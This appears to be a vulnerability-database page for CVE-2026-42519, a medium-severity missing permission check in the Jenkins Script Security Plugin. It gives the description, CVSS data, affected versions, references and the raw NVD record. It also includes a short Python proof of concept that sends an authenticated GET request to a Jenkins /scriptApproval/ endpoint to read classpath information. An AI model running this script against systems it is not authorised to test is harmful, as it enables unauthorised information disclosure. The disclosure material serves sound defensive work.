CVE-2026-42519

Description

A missing permission check in Jenkins Script Security Plugin 1399.ve6a_66547f6e1 and earlier allows attackers with Overall/Read permission to enumerate pending and approved Script Security classpaths.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:jenkins:script_security:*:*:*:*:*:jenkins:*:* - VULNERABLE

Jenkins Script Security Plugin <= 1399.ve6a_66547f6e1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (replace with actual Jenkins instance URL)
target_url = "http://<jenkins-instance>/scriptApproval/"

# Attacker's credentials (Overall/Read permission)
username = "attacker"
password = "password"

try:
    # Send GET request to enumerate script classpaths
    response = requests.get(target_url, auth=(username, password), timeout=10)

    if response.status_code == 200:
        print("[+] Request successful. Classpath information leaked:")
        print(response.text)
    else:
        print(f"[-] Request failed with status code: {response.status_code}")

except Exception as e:
    print(f"[!] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42519
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42519
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42519/
[4] VulDB https://vuldb.com/cve/CVE-2026-42519
[5] https://www.jenkins.io/security/advisory/2026-04-29/#SECURITY-3662

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42519", "sourceIdentifier": "[email protected]", "published": "2026-04-29T14:16:18.953", "lastModified": "2026-05-06T16:33:22.087", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A missing permission check in Jenkins Script Security Plugin 1399.ve6a_66547f6e1 and earlier allows attackers with Overall/Read permission to enumerate pending and approved Script Security classpaths."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jenkins:script_security:*:*:*:*:*:jenkins:*:*", "versionEndIncluding": "1399.ve6a_66547f6e1", "matchCriteriaId": "8E2E8084-BFAA-4F76-838D-AEBFBFAD2BA1"}]}]}], "references": [{"url": "https://www.jenkins.io/security/advisory/2026-04-29/#SECURITY-3662", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}